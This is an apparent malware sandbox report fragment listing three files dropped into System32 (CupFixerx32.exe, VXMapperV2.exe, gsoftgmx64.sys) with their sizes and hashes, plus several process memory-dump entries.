                                                                                                                                              PID:3020

                                                                                                                                            Network

                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                            Replay Monitor

                                                                                                                                            Loading Replay Monitor...

                                                                                                                                            Downloads

                                                                                                                                            • C:\Windows\System32\CupFixerx32.exe

                                                                                                                                              Filesize

                                                                                                                                              451KB

                                                                                                                                              MD5

                                                                                                                                              feac8b5c2d2b99e7a3c8f1ba41ba3472

                                                                                                                                              SHA1

                                                                                                                                              002bd5344c44f288c22e69b5e2846d515bfa429e

                                                                                                                                              SHA256

                                                                                                                                              7fce635cb66dc1286856a1f1f281b90431288be4a9647a8e0cbd2a0346748b95

                                                                                                                                              SHA512

                                                                                                                                              b95b83545ca45453e6d64b7c2cf276932eded9658187aa91dcff948e59c313ae071b0059a481cd7b01aae778fc4fda71aa830fb99b84197fb17e03e9a10e8e68

                                                                                                                                            • C:\Windows\System32\VXMapperV2.exe

                                                                                                                                              Filesize

                                                                                                                                              394KB

                                                                                                                                              MD5

                                                                                                                                              8464ecc3ff18a9adc217112c63f0bd95

                                                                                                                                              SHA1

                                                                                                                                              bf98f20460ab755a81269edd61ddfc39d6e58a68

                                                                                                                                              SHA256

                                                                                                                                              7adb87b96253096e5d42754a77de2ec090f3a8f5e1aea34958d3118a5fa461ca

                                                                                                                                              SHA512

                                                                                                                                              3fda9e0f9325b14ffa82e71962f7c9ed1b764dc570162c4acdf0bc42b73827102835820c66f30fd5bd64e5a4dea513ac0c6cdde8b2a87212f337944359b818c9

                                                                                                                                            • C:\Windows\System32\gsoftgmx64.sys

                                                                                                                                              Filesize

                                                                                                                                              29KB

                                                                                                                                              MD5

                                                                                                                                              f22740ba54a400fd2be7690bb204aa08

                                                                                                                                              SHA1

                                                                                                                                              5812387783d61c6ab5702213bb968590a18065e3

                                                                                                                                              SHA256

                                                                                                                                              65c26276cadda7a36f8977d1d01120edb5c3418be2317d501761092d5f9916c9

                                                                                                                                              SHA512

                                                                                                                                              ac1f89736cf348f634b526569b5783118a1a35324f9ce2f2804001e5a04751f8cc21d09bfa1c4803cd14a64152beba868f5ecf119f10fa3ccbe680d2fb481500

                                                                                                                                            • memory/1036-0-0x0000000140000000-0x00000001409C9000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              9.8MB

                                                                                                                                            • memory/1036-1-0x00007FF8559D0000-0x00007FF8559D2000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              8KB

                                                                                                                                            • memory/1036-2-0x0000000140000000-0x00000001409C9000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              9.8MB

                                                                                                                                            • memory/1036-3-0x0000000140000000-0x00000001409C9000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              9.8MB

                                                                                                                                            • memory/1036-4-0x0000000140000000-0x00000001409C9000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              9.8MB

                                                                                                                                            • memory/1036-37-0x0000000140000000-0x00000001409C9000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              9.8MB

                                                                                                                                            • memory/1036-38-0x0000000140000000-0x00000001409C9000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              9.8MB

                                                                                                                                            • memory/1036-39-0x0000000140000000-0x00000001409C9000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              9.8MB